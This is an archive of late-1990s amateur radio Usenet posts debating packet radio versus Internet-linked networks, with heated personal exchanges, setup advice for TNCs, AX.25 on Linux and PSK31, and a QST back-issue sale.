Are you "with it", now?

>
> Hello ! ! ! The Internet is here! The kids are on fire with interest,
when
> I bring the local neighborhood kids into my shack to hear me talk on short
> wave, they go to sleep!

My kids go to sleep sometimes while connected to the Internet. So what?

Maybe you just don't have the spirit needed to make radio look interesting to others. It takes more than just shoving them in front of a radio and saying "there it is!" You have to believe in what you are doing in order to

give a convincing presentation.

I don't see any evidence in your attitude that you really believe in Ham Radio, or that you have any real confidence in your fellow hams.

>Face it the generation that you grew up in was
> interested in radio, radio was hot, hot, just like the Internet today,

Horse-hockey! The old folks had gotten rid of the family radio and bought a TV years before I was born. When I was a kid, radio was something to listen to music with, and that was just because they hadn't invented and marketed music videos at that time. Then I got a record player and found that I preferred to pick out my own music, rather than listen to the "top 40" over and over again.

Next thing I knew, I was listening to Captain Beefheart, Bartok, the Fugs, Eric Dolphy, and the Mothers of Invention while my schoolmates were still hung up on the Beach Boys and Jan 'n Dean. Go figure.

My Dad had a Ham Radio station, but everybody knew that those people he struggled so hard to communicate with by radio could always be called up on the phone if communication (in itself) was a priority.
Then as now, I understood that the REAL priority in Ham Radio is communication via Ham Radio.

Peter, get with it! They don't call it Amateur RADIO for nothing!

> Today the kids, they are not building crystal sets and listening to CB any
> more, they are on the net.

Very few kids built crystal sets and listened to CB when I was a kid, just like now. Whatever they choose to do instead is irrelevant. Back then, we watched TV a lot, and in my case designed and built radio-control model aircraft. Non-ham is Non-ham.

>
> Let's try to develop ham packet radio systems that will be interesting to
> them and attract those young folks.

I'm only shooting for those who have an interest in radio. Those who are interested in radio will expect me, as a Ham, to communicate by radio and will be disappointed and disillusioned to see me "pretend" to use the radio over the Internet they are already so familiar with.

Kids today get the Internet at school, and then go home to zone out on even more of it. Internet is not fascinating to them; The stuff they see there is. They could care less about tcpip and those wonderful tcpip apps that just blend in as part of the furniture for the average kid. They only really get excited about new video games, and that for only a short while.

Face it; The generation that is growing up now takes the Internet for granted, and see nothing exotic or exciting about it. Radio, on the other hand, is something they generally know very little about. It's "new" to them, and if presented properly it is quite exciting as well.

If we are smart, we will point out the differences between packet radio and the Internet, not try to eliminate them.
If we are smart, we will work to have our own independent network, not give up and take a free ride on the back of the Internet.

One thing about kids too... They have no respect whatsoever for phonies. Tell them you are going to show them Ham Radio and let them find out that you are copping out with an Internet connection and they will get bored in a hurry. Your experience bears this out.

They've all done much more interesting things on the familiar Internet than THAT, and will wonder what your point is, in buying tons of expensive equipment and getting a special communications license so that you can arrange slow, third-rate Internet access for yourself. They'll just figure that you are an eccentric idiot, and rightly so.

The idea is to try to be impressive, not to look like a clown.

> incoming stuff.

This is basically the store and forward paradigm. The other is the client-server networking paradigm.

Both are valid means of computer data transfer. It wasn't that many years ago, that UUCP was the King, and SLIP was unheard of as an option.

In UUCP, you spool up your work, wait for a set time/or times, and transfer the spooled-up work and data to the neighbor machine. Then you disconnect, and call them back at the next spool time, and pick up your work. UUCP was even available for the Radio Shack color computer running OS-9.

Today, you are given an IP address and become part of the network. The client connects to the server and does everything via TCP or UDP rather than the "g" UUCP protocol. The difference of course, is that one is real-time, or can be, and the other is store and forward.

Your ISP technique works well for you, but is unworkable to those who use the http protocol ("web browsers"). A good friend, now deceased, said that anything over 9600 baud on a telephone was a waste, and that the World Wide Web was the biggest joke on humanity there ever was.

It's not true of course, because you can't believe the productivity increase, when we move a customer off of a 3270 mainframe terminal to a screen on their PC, and reduce their computing bill by 12k a month. In almost every case the mainframe computer people say that the Server we have running Oracle, Web Server, and RAID, will crater under the load. It hasn't happened yet, and we are running 50% of what used to be on the mainframe, and have budgeted the transfer of the other half. Users can now import data into a spreadsheet, add that into a Word document, and then email that to the branch office in real-time, rather than overnight.

My red flag goes up sometimes though. For example, this great new program that collects data and feeds it TCP to the Server, and they can produce it in one man year of programmer time. Excuse me? How about we collect it, FTP it on a cron, and then import it into Oracle?

Oh, well yea, you COULD do that, but it's SO low tech! OK, go ahead with your plan, but here's your budget: $0.00, let me know when you're done...

Eric:

Yes!

The diggers of ditches and layers of cable, like the owners of bandwidth
often have a natural monopoly, but that does not also apply to the purveyors
of services over those infrastructure providers.

I believe that the diggers of ditches, layers of cable, owners of bandwidth,
et al should be strongly regulated by our Public Service
Commissions/Municipalities, and kept out of the competitive communications
services and content business.

Then the services and content should carried by those natural monopolies
should be wide open for competition.

The problem today is that the equipment that connects to cables and
bandwidth is designed for the use of monopolists, and not for a competitive
environment.

Therein lies a great opportunity for new access products, but the customers
are not the current monopolists, either de jure or de facto.

Regards,

Peter AB4BC

Cross-posted to: rec.radio.amateur.boatanchors,rec.radio.amateur.digital.misc,rec.radio.amateur.dx,rec.radio.amateur.homebrew,rec.radio.amateur.space

I am clearing out the ham shack of all my QST magazines once again. If anyone is interested, I am selling
1992-1998 at $1.00 ea. (you pay shipping costs however you want them shipped). If you
are interested in over 12 issues or the entire collection, make me an offer. I am willing to ship anywhere on
this planet so long as you are willing to pay the shipping costs.

Here are the issues that I have remaining:

QST

[1992 through 1998 issues are $1.00 each - 1999 issues are $2.50 each]

1992 Jan Feb Mar April
1993 Jan Feb Apr May June July Aug Sept Oct Nov Dec
1994 Jan Feb Mar Apr May June July Aug Sept Oct Dec
1995 Jan - Dec
1996 Jan - Dec
1997 Jan - Dec
1998 Jan - Dec (May issue is missing page 73)
1999 Jan Feb Mar Apr May June July Sept Oct $2.50 ea.

All the issues are in perfect condition with no ripped pages or covers. Sorry I don't have anymore, but the last
time I did this in 1993, I sold all my 1989 through my 1992 issues less a few months still available.
If you would like to check my references, please feel free to do so. I am on Ebay and my user ID is: Andrew45
http://cgi2.ebay.com/aw-cgi/eBayISAPI.dll?ViewFeedback&userid=andrew45

Piero, I fear that we are both the victims of mail clients that do not keep straight who is quoting whom. I have no idea how my name got associated with what you are quoting.

I do not recall making the comments attributed to me - in fact, I agree fully with you and use the spectral display in Logger for 99% of all tuning. In particular, I DID NOT make the comments regarding the MixW32 program - I have not used that program since it first came out. But, the instructions did make sense to me! ;^)

The only email I have ever sent Hamish had to do with multiband antennas.

I asked Peter when PSK31 first came out to enlarge the waterfall and he declined, saying that if he did it would not then work on the older 486 computers of the type and speed he was using for PSK31 development. Peter's tuning aids ARE adequate and all that is really necessary, but I find that the spectral display adds a lot of information about the signal and the band and allows additional flexibility in tuning.

When is the last time you saw a packet bulletin from Phil or Gary?
Been a long time here.
Makes me wonder if they do any ham radio networking, or if they
do, if their subnet is totally disconnected from the larger radio networks.

Charles, Hank:

One thing you guys are forgetting is that only around 5 - 10% of hams are builders, designers, experimenters, be it hardware or software. (I believe from my own observations that I am being conservative here, it's probably closer to 1 - 2%!) And. . . most of the readers of this and similar NGs are in fact from that 5 - 10%. The remaining 90 - 95% of hams are simply appliance operators or users of the technology. Whether they be contesters, traffic handlers, DXers, or simply lurk on BBS's.

There is nothing wrong with that statistic, and those 90 % are not second class hams by any stretch of the imagination. Do not castigate the users and appliance operators. They are what keeps our hobby alive. Without them ham radio would not exist today. We need great numbers of technology users, appliance operators to keep our hobby vibrant. Especially our amateru digital data networks.

Now those who are capable, and who also have the time to build, design and experiment, must be cognizant of this fact and cater to the users/appliance operators. And the key designers, builders, experimenters must work towards providing simple, easy to use technology to recruit and to grow a new generation of hobbysts in that 90% category. That in turn means working with the few remaining manufacturers who continue to hang in there with us. For an example of a manufacturer who is willing to hang with us, consider Martin Jue of MFJ, who has committed financially to amateur radio while all the rest seem to be fading, going bankrupt, moving to other markets, etc . . ..
..
My point is that it is my perception that Charles and Hank exhibit a certain distasteful elitist attitude towards those of us who are willing to participate and use the technology, but sit on the side and do little or nothing about building, designing, deploying and experimenting! Most ham operators are not full time techno-nerds, they "have a life", wives, families, church, skiing, fishing, Internet, business, etc. . . to occupy their time, but they will support the pioneers by becoming enthusiastic operators and users of technology if only those designers, builders, experimenters keep them in mind while developing the next generation of amateur packet radio networks.

Think. . . . other than public service H&W messages which we need to do to justify our hobby to the rest of our fellow citizens, what are the compelling applications that the users/operators will want?

Thoughts, comments,

Regards,

Peter AB4BC

As I've clearly stated several times, our network covers parts of 4 states.
It is not a global network. Never was, never will be. That was not our intent.
We don't have grandiose delusions of being more than what we are. We're
a fast regional network. Nothing more, nothing less.

>Are your network's users so isolated and insulated from the rest of the
>packet world that they NEVER communicate with that outside world?

I don't know, and don't care, what our users do when they aren't using
our network. It's none of my business, and has nothing to do with our
network.

>Are you claiming that all of those communications with "the rest of the

>
>Come on, now, Gary.... 'Fess up!

I'll say this just once. To my knowledge, our network has *never* been
linked to another distant amateur network via landlines. Period. That
was never part of the network design.

Ok, so I can use a modem if I have the software, or a dedicated TNC for packet. What would be the lowest cost way of getting into packet then? I would like to eventually get into packet operation, but I fear that that won't happen until I'm a bit richer--either I pay $120~150 for the TNC (and use freebie software) or pay something similar for software that will already use my modem. (At least I suspect it would be similar priced.)

Under Radio Shacks websight, you can find some stuff on the 202; one of the files shows how to connect the 202 to a MFJ tnc. (Look under service or owners manuals; something like that.)

As for heating, I'm not sure how warm it would get for 10 minutes continous use, but I've used mine at full power (6W out, cig adapter in the car) for so rag chew while driving, 30sec-1min tx, about same rx, and all I noticed was some warming, not alot. Just try it; if it feels kinda warm, just:

a. use a fan, and blow air over the unit,

b. The metal back plate (that the clip screws into) is the heatsink for the unit. Somehow screw a finned heatsink to that (hey, it's already tapped for a heatsink!) and blow air over the unit again.

Thanks for confirming that ham radio is not involved in any of the communications I mentioned, Brian. I knew Gary was a LandLine Lid, and he knew it, and now you have confirmed it for us all. It figures that Gary would try so hard to weasel... He knows he's in the wrong.

You can hang any name on it you want to, or try to weasel around like Greg Jones, but the fact remains that "Amateur Telephone" is an ignorant, backward practice that can only serve to further set back the US packet net, already severely damaged by the antics of the Lids who practice it.

This is widely recognized everywhere except within the isolated, provincial US tcpip community, and within an equally ignorant bunch in Australia. Only the people actually doing the damage have proven to be too ignorant to understand the fact, or perhaps too lacking in character to care.

The US and Australian packet nets have both diminished and gone to the dogs where the practice is tolerated, and grown where it is not. The rest of the world has not suffered so severely from this outbreak of self-absorbed ignorance, and so their packet nets have generally kept right on growing and developing.

In other words, you and Gary are on the "side" that has nothing to show for itself except decline and decay brought on by ignorance, isolation and self-centered greed, no matter what the expense to others.

Where your kind of "thinking" has taken hold, the packet net has declined and packet users have left the hobby in droves. Where your type of thinking is not tolerated, the packet net there has grown and developed, and thousands of enthusiastic Hams enjoy the network every day.

Gary can be congratulated for building a slightly more elaborate isolation from the world than most LandLine Lids manage, but in the long run he is still divorced from the rest of the Amateur Radio community by the limitations of his thinking.

The one and only place in the US where hams are now excited again about a growing, developing packet net is where your kind of thinking has been rejected and not allowed within the network. (They have tcpip of course, but not the "LandLine Lid" variety you boys espouse). These are REAL HAMS using amateur tcpip in a way that is beneficial to the hobby instead of a liability.

The next step is to outlaw "Amateur Telephone" in fact, with protective national legislation such as the European Hams enjoy.

Sorry, but Hams are becoming more sophisticated and harder to fool. They will look at what happens where LandLine Lids are tolerated, see the progress where they are not, and make the obvious choice.

That leaves you out.

4169. kamplus-0.96 for Qt released

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-09-25 00:00:00 UTC
From: chris@cvine--nospam--.freeserve.co.uk
Message-ID: <37ed2f2c.57467@news.freeserve.net>
Source record: 16377

The kamplus terminal program for the Kam Plus TNC and Linux/Unix has
now been ported to the Qt toolkit, to give a better user interface for
those using X-Window.

This program is a host mode terminal program for the Kam Plus TNC. It
can be obtained (with the ncurses version) from my webpage on:

http://www.cvine.freeserve.co.uk/

It requires Qt-1.4* - if you use KDE-1.1*, then you will already have
this installed (it probably works with Qt-2.* also, but I have not
tested it with 2.*).

User reports and suggestions for improvements would be welcome.

Chris G3XXF.

This is the "limit" theory as opposed to the "technology" theory.
Even the Central States VHF club proposes a "limit" rather than
"technology." Technology will build membership and save our spectrum.
Those who want to limit Ham radio, will destroy the hobby.

That's what Charles agenda is. He can't contribute to the service, so
he is going to destroy it by the "limit" theory. He can't destroy
anything. He's too small, and people don't want to wear white sheets,
torch crosses, or be a supremecist.

Real Hams have fun. Charles hates his hobby, and hates people who are
having fun. The best thing he could do now is to find something he
might enjoy in life. Something that is very positive, rather than
very negative. Mental health is as important as physical health.
Anyone who hates the hobby and its members, as much as he does, should
seek out mental health. Otherwise, it will destroy him. I think it
already has.

Steve

You plan to save our spectrum by abandoning the use of radios?

Run that past again, a bit slower, with some detail of how
you plan to save our spectrum by not using it.

You confuse me with someone else.

The only hams I complain about are those who DO "experiment"
and "build" in a way to PREVENT other hams from using their radios.

These are the Land Line Lids.

Anyone wants to use the internet, good for them. Just don't FORCE
my ham radio traffic to use the internet, don't BYPASS radio links
that I and other hams have built, and don't claim that being on the
internet is somehow "Making QSOs via ham radio. (And I've got
the QSLs to prove it!)"

Read TAPR's "Let's give away the ham bands" proposal, and also
read the WinLink "Vision of the future" to see what we're talking
about. Both available on the web. Not much in the way of ham radio
involved in either of those proposals.

Charles:

I've been wondering for a while now, why you spend so much time on this band?

Clearly this band, rec.radio.amateur.digital.misc meters is a LandLineLid band, how can it be so bad if you are spending so much time playing and having fun here?

And . . . y"all still have not properly responded to my assertions that the main reason we have not seen a fall off in ham packet radio in Europe is simply because in most of Europe, Internet access is prohibitively expensive compared to America. When that situation changes, and barring a return to blatant socialism throughout the continent, it will, then the European ham packet networks will face the same fate as the American one.

Charles you are living in a dream world! Your approach of trying to confront the Internet is doomed to failure! You are simply hastening the decline of amateur packet radio.

Please face reality and adopt an approach for amateur packet radio that is complemenatry to the Internet.

Ask yourself, what is the best strategy for a mouse which sleeps with an elephant?

Charles, please reconsider your retrograde approach and attitude. Spark transmitters are dead, CW has now become an activity like long bow hunting, AM nostalgists meet once a month on 75 meters, and the packet radio networks of the 70's, 80's are now a complete anachronism!

Get modern, help the progress of amateur radio, the new millenium is almost here, let's not go backwards.

Hank:

Yes there is. In the high speed access part of the network. Their proposals could easily lead to the complete saturation of most of our UHF/uWave bands with amateur radio ingress and egress traffic.

High speed long haul on amateur frequencies is not possible for two reasons: there is not enough bandwidth ffor high speed long haul on MF/HF and, on VHF/UHF/uWaves there is not enough critical mass at a national level (the wide open spaces) to get it together.

Ergo, to save our UHF/uWave frequencies from being raped by the commercial interests, we MUST load those frequencies up with traffic or lose them! Clearly high speed access LAN's is the proper use for those frequencies. And . . . we've got to get tons and tons of amateur users sending and receiving traffic on those frequency bands. If not, it'l be bye bye bands!

Low speed long haul is possible on MF/HF amateur frequencies and is clearly the preserve of RTTY/PSK31 and the xTOR modes and is perfect for narrow band non-real time interactive applicationa like email. I love it and use it often myself, but it is LIMITED.

Get with it Hank. Your approach is similar to that proposed by Charles, and clearly needs to be completely re-thought. Your retrograde approach is BAD BAD BAD news for the future of amateur radio on the UHF/uWave bands in this country.

The Europeans are clearly running at least 10 years behind America in the telecom revolution. Please don't use them as an example of the future! They are an example of the past! You and Charles simply get nostalgic when you correspond with the Europeans on this issue. I know you long for the good old days, but Europe is behind, America is leading, and hams in America need your help.

I love old dogs, but I don't take them to the dog races!

Comments, thoughts?

>

The software is usually free. You can use baycom terminal for instance version 1.50 (for low speed baycom modem) which is free. You can use TFPCX which is shareware. TFPCX does the job of the TNC - and with TFPCX you can use most of popular software (like FBB BBS that is very robust software and very complete - and is free). There are versions for various platforms - I use DOS version, but I tried Linux version, and it worked. You can get that on http://www.f6fbb.org/ It's cool, since it has some 17 translations included in the package, good online help with BBS, conferece room, gateways, DOS access, passwords, YAAPP (a binary transfer protocol), and many other things.

There is also FlexNET which gives you the oportunity to use various devices (eg. a sound modem) with usual FlexNET software. But I would not suggest a soundmodem - specially not if you plan to use it under windows. And, yes FlexNET is free for download.

The only thing you may have to pay for is a modem. Since you study electrical engineering - I suppose you can build it by your own. It's not very complicated. Parts should not cost much - 10$ maximum. I can't give you no address, because I don't know it exactly - just search for baycom/schematics - I'm sure you'll find it. If you want to buy it, look at http://www.baycom.org/ .

A good place for many programs, amateur radio AND packet is at http://www.qrz.com/files.html .

Ok, maybe it's too much info at once :)
Welcome to packet !

A packet modem is a part (or section) of a TNC. It's the part that takes the digital signals coming from the TNC's CPU and converts it into a modulation that a radio can transmit and receive.

Wrong newsgroup for this question. "rec.radio.amateur.digital.misc" is really for data exchange via TNC's, APRS (including GPS and Wx), and similar things like packet BBS's, etc.

However, as a TWIAR affiliate, here's what's done locally (Los Angeles):
- One system transmits live off the satellite feed. That system's repeater controller is actually hooked to a dedicated satellite receiver and also simulcasts it to another repeater on another band (70cm system, with a remote 23cm system).
- Our other system (2m) uses the real-audio feed for a Sunday retransmission. That has a soundcard fed radio, but a mobile radio on low power, not an HT. Most non-repeater radios aren't meant for a 35 minute transmission, but by using the lowest power setting, the length of the transmit duty cycle is extended (over that of the higher settings). Mobiles generally can take the heat better.

Things to consider:
- Using the MIDI port (there should be both audio and logic controls in that port) instead of simply connecting the audio directly from "line out" and PTT via a TNC.
- Give a QUICK CW ID and drop carrier during the ID timing spaces. Perhaps link this with the "external control board" that the TWIAR guys designed (see the http://www.qsl.net/twiar shadow for the PDF file). Also, increase heat dissipation with a fan blowing air on the radio (or if you're both rich and insane, add liquid nitrogen or helium cooling via pipes running through the heatsinks; poor and insane - cold water!).
- Ask Steven Anderman, K2SMA, or George Bowen, W2XBS. Mr. Anderman's local NJ repeater that handled TWIAR recently stopped, so he's pumping it out onto a 2m simplex frequency (I don't know which one). However, he'll be able to tell you how he wired it. As for Mr. Bowen's setup, I don't know if the Albany area is fed via his computer at the same time as the satellite uplink or if it takes the downlink, but maybe he can help too.

[To TWIAR staff: Perhaps this is a good topic for one of the special slots.]

> power generally won't help because the ISD, and BER, becomes
> unacceptable.

Gary, that is exactly what I said.
"power spread":. the difference between transmit and receive
power levels at the radio. ERP minus noise floor. Both in dbm.
Increased by adding aluminium and/or silicon (or GAAS if your
noise floor is receiver limited not environment limited.)
A measure of the capability of the radio/feedline/antenna system.

The thing you are talking about is "beam width".
That helps to avoid problems from off-path reflectors.
Does not help with on-path reflectors of course.
Refractors and phase shifters have the same properties.

"... well engineered .." makes no sense. The paths are what they are.
They go, for example, from my house to your house.
This is the long haul case we are talking about. You don't *normally*
put large dishes or large yagi arrays anywhere except on your own
property. Way too hard to maintain if they are not local. Exceptions
exist of course, but I've never personally encountered one.
For the long haul case, it is rare that the path is line of sight.
Usually it is a scatter path of some nature.
Example: the troposcatter path from the Lowell, MA area to
Southern NJ on 2M 1200 baud. Worked quite well for us when
we used it. KW and 4 long yagis in NJ, 200W and two long yagis
in MA. Antennas at 170 and 120 feet above local terrain.

This discussion has nothing to do with the high speed network
discussion. I play with more than one thing in ham radio.

>does not exist.

Yeah, the default in some versions of the axutils is to put stuff in /usr/local/etc/ax25
rather than /etc/ax25. Some people put links in between the two directories
just to be sure.

If you compiled ax25-tools and libax25, you should be able to.
1. Make sure you're really running the right kernel. Sounds like you have done this okay.
2. Compile or install the libax25 and ax25-tools and all that stuff.
3. Use Minicom, to talk to your TNC and set it to KISS mode.
4. Make an axports file -- like it says.
5 Run kissattach. Make sure to specify an ip address (man kissattach should help)
6. Run kissparms to setup your TNC stuff like txdelay (Do a man kissparms)
7. Try doing a 'call [device] ke6i' or something, to see if the TNC lights up and
transmits. If that happens, it's probably working.

Do not panic. If it were me, I'd stick with Caldera, if that's what you already
have. I don't think moving to Redhat will make it any easier. (Though RedHat
has a nice rpm for running nntp, which I like a lot. Not sure about Caldera.)

I see. You are not a ham perhaps?

You now use a cell phone instead of a mobile, since that technology
is far better. You never use 20M because the internet can communicate
over the entire planet instantly. In fact, using your logic, there is no
reason whatsoever to use ham radio.

What a bunch of idiots.

I asked the question earlier in this thread, and will ask it again:
Gary, can you send me a message via the ham radio BBS network?
I have *never* gotten a message from you there, nor seen any
bulletin you might have posted.

Give it your best shot.
If I receive one, I'll post it here, complete with headers.

Or did you mean "I am not invovled in the ham radio network
so of course you have never seen one."? If that is the case,
then your pronouncements about that network have very
little credibility.

Please pay attention to the several discussions in this thread.
I've never said "high speed" and "long haul" with respect to
the same links. See my other posting about the THREE
different things I'm working on. Unlike some posters here,
I have a lot of different interests, as well as the time and
resources to make progress in all three of them.

Some posters assume that long haul links will become saturated
with traffic. This has not been the case. Traffic tends to be
quite local in nature. Total data rate required decreases with
distance.

Also do not confuse what Gary talks about with anything I
might be interested in doing. I'm always talking "global store
and forward network". I have little interest in online/interactive
chat etc. operation. For that I do not use digital modes ...
... well CW is digital I guess <grin>

Cost and availability of equipment ... chicken/egg problem.

That 56k link I costed out earlier in the thread jumps by
about $100 to $200 per end when placed on 1240 instead of 440.

If you tune the next three lower frequency bands here,
you get almost the same result. A vast wasteland.

Ditto for most of the HF bands most of the time.

10M makes a good troposcatter band for 1200 baud links ...

Greetings, I just stood up a 56k jnos/linux port here and am looking for

others who have "fine tuned" similar systems. In particular I am looking

for mss, mtu and tcp window and other timer settings. I have also done
testing with Jnos/DOS systems as well.

I am also interested if anyone has done testing with the DSY 56k
modem and the Kantronic Data Engine using Johan's jnos40 images.

If you have an old PI2 or PackeTwin card laying around or a Microwave
Modules
MMT 432-28s and even an old style DSY modem I am interested.

73, John

Maybe the situation was different in the USA, but over here the telephone
company has never been the switch manufacturer. They bought switches
from several manufacturers (Philips, Lucent, Ericsson, Alcatel, etc).

So there has always been competition in that area, and of course that
is good. My point is that it is not good to have competition in the
infrastructure itself (between different telephone companies in the
same small country). It leads to lots of overhead and little or no
gain for the customer.

I am attempting to setup Caldera Linux 2.3 to support Amateur Radio AX.25 via KISS TNC interface.

The "HOW-TO" document that comes with the Linux software is from 1997 and does not relate to the 2.2 kernel.

I am able to "load" the "AX.25 Module" via the "kernel modules" application, but what now? The old documentation refers to a /etc/ax25 directory that does not exist.

So where is the latest information? Should I switch to Redhat?

Any assistance would be greatly appreciated.

>Wow . . . 1.111 GHz is ours for the taking, heck we already have it.

I do not know what the exact situation is in USA, but in general, the
amateur microwave allocations are on secondary basis, while the
primary user is the radiolocation (i.e. radar). In the days of fixed
frequency systems no-one wanted tho share the band with radars, but
the more frequency agile amateur systems could cope with this.

The free running magnetrons and the sharp radar pulses required quite
a lot of bandwidth in order to have a few radars coexist on a single
area on one band.

Those amateur secondary allocations are in danger, when the primary
users do not need the full bands anymore. I would be much more
worried, if no primary users could be heard. When the primary user
will loose the primary allocation, the amateur secondary allocation is
also gone.

The real value of very broad microwave allocations is that it allows
experimenting with simple gear such as free running Gunnplexers,
without the risk of running out of the band e.g. in extreme
temperatures. Apart from that, I do not see a need for more than 100
Mhz allocations on a single band, realistically speaking, we do not
have enough genuine data to move around, even if we are talking about
live video.

Sorry OM... If you are trying to suggest that no user of the GRAPES net ever attempts to communicate with other Hams outside of the network's coverage area, you'll have a really hard time convincing me of it.

And we all know how such communications from within an amateur tcpip LAN tend to occur.

Well, Gary, you've got a long wait ahead of you.

I have very little respect for "master debaters" who weasel around about matters they do not want to admit, and then embarrass themselves by splitting verbal hairs, coming up with bogus rationalizations, etc.

You remind me of the guy running an amphetamine lab who doesn't do the stuff himself (just his customers do that) and then gets up on his high-horse to claim that he has nothing to do with the drug problem.

"Show me the proof that I've ever taken drugs!"

- While he's sitting there in his speed lab, cooking the vile stuff up to try to sell to for our children.

No, Gary, I've never seen evidence of you using a packet BBS at all. But I sure have heard you parrot several of the "Amateur Telephone" mantras on many occasions, and have seen you rush in to support the practice on many occasions as well.

You're involved.

Well, over here (Netherlands) the 3cm band is quite densely filled with FM ATV relays located at high sites. They have different output frequencies and many are equipped with receivers that are tuned to other relays. They usually have picture-in-picture systems (4 or 16 pictures) that display an overview of activity on several relays. One or more active contributors to the relay often have a private link to it.

This of course requires several different channels, wide enough to accomodate an FM ATV signal. While the official standard is "15 MHz bandwidth", for practical reasons these relays use the satellite-TV standard of 27 MHz bandwidth.

I have no exact bandplan of these relays, but they certainly use more than 100 MHz of the 500 MHz-wide band.

Yes, it's true...

It was just over ten years ago when I organized what was almost certainly the first experimental use of a forward error checking protocol over a digital repeater.

Others may claim that what I really did was to (1) forget that my PK-232 was in AMTOR instead of VHF Packet mode and (2) forget that the 2-meter rig was hooked up, tuned to the local voice repeater instead of the local Packet frequency.

- But I prefer to think of the incident as the first experimental use of FEC on a digital repeater in the state of Texas.

That sounds a lot better, doesn't it?

Yes, it's true...

It was just over ten years ago that I organized the first international experimental use of digital voice mail over a packet radio network.

What I did was to make a Windows 3.xx WAV file of myself saying "Howdy from N5PVL" or something equally original. Then I used 7-PLUS to turn it into an ASCII file and cut it up into a large number of 20kb pieces. It took all night and part of the next day, but I finally managed to forward all the parts to XE2XPK, a Mexican BBS operator who lived just over the border. Sergio put them all together again with 7-PLUS on his end, then listened to the WAV file.

Thus did Sergio and I pioneer the use of digital voice mail over packet, back before voice mail was cool, or even widely known.

This proves nothing, Hank. I agree with Charles's ideas
(that the network should be 100% amateur radio), but I'm not going to
logon to a packet BBS and send you a message to prove it. That just
doesn't interest me that much.

Source record: 16313

Stan, you don't need any interface as such. Audio output from the radio is fed into the line input of the soundcard. Audio output from the soundcard is fed into the mic/audio input of the radio which operates in SSB. The PSK31 program, or others, controls the entire operation from the computer. That is all there is to it . . .

As a practical matter, most of us find it necessary or desirable to isolate the radio inputs and outputs from the soundcard with 1:1 transformers from Radio Shack. And most radios require a simple resistive divider in the mic input circuit to prevent overdriving the transmitter.

PSK31 is being used with almost every kind of radio you can imagine, including homebuilt QRP jobs. I operate with an Icom IC-765. I have read of several others who run the FT990.

Suggest that you visit the PSK31 web page at

psk31@bipt106.bi.ehu.es

for details and download of a PSK31 program.

PSK31 is a remarkable system originally aimed at keyboard-keyboard chatting on HF although it has been used very well on VHF and UHF. It even works with audio coupling only between two computers! That mode is sometimes used for demos at club meetings, etc.

The programs support exchange of text files as well as normal keyboard input. I have many times copied stations almost 100% that did not move the S-meter and were virtually inaudible. PSK31 appears to be rapidly overtaking RTTY in view of the simplicity of the equipment - none! - and the vastly enhanced weak-signal capability. A lot of all this is due to the very narrow operating bandwidth of 31.25 Hz and the superb DSP performed within the programs.

Come join us! ;^)

Charles:

I'm supprised you didn't pioneer that new mode everyone is talking about
"VOMT".

VOMT - Voice over Morse Telegraphy!

Charles, how about some comments on my Bandwidth to Burn thread?

Best Regards,

Peter AB4BC

The availability of economical personal radio communication equipment and services has made the fm simplex and repeater scene a vast wastelend relative to what it was. A recent trip from the north shore of L. Mi. to San Antonio, Tx and back verified that the observation was not exclusive to my small town, rural environment. Lotsa idiots found a preferable way to communicate or choose not to communicate.

If I want to swap lies, by radio, with some other amateur operator cross town or across the world, I do it; within the context of the limitations of propagation, equipment, time, etc. If I want to communicate now, with no limitations, I use the phone for voice or data. I find lotsa idiots do the same.

By my logic, and the apparent logic of most hams, I use amateur radio because I love the "magic" of the media and the technology and I seek the the company and conversation of like minded individuals. Still enough idiots to qualify as, lotsa.

Yes, Hank, we are a bunch of idiots to you if the above meets your qualifications.

Have you wondered why you have limited success with preserving or promoting the data network as you perceive it should be? Technology, options and priorities give the amateur radio community a different menu from yesteryear and we are making different choices today; like it or not.

As one who has limited awareness of and admired your contributions to our hobby, I have a great deal of difficulty accepting your parochial view of history and human nature.

Pete/wa4hei (Ham since 1962 ;-))

Rob:

Well the other wonderful about these bands is that those oceans of Hz (1,111 MHz) available to us can be re-used over and over again by simple spatial/geographic re-use.

So if you get off the TV realy paths, and watch the geography and interference then you can use those bands anyway.

And so . . . in practice we have available to us much more than the simple 1,111 MHz! We have that 1,111 MHz bandwidth multiplied by the number of geographically separate "non-interference cells" that we choose to deploy.

Wow, talk about bandwidth to burn.

And we amateurs are sitting on our old 2 m and 70 cm allotments and letting the commercial guys do all the innovation in this broadband area.

What happened to the old ham radio spirit of pioneering new areas for radio and its' applications?

Many of us seem obsessed with moving backwards into the past and are missing all of the wonderful opportunities in the future.

How can we hams best exploit the oceans of bandwidth available to us?

What we need to learn to do is to "waste" some of that bandwidth and trade that for other factors/capabilities that we want/need. . .

Comments, thoughts?

Peter AB4BC

Check http://www.cssincorp.com for software for your MFJ box. Rick and the
rest at CSS have a pretty nice selection of terminal softwrae for most
controllers on the market
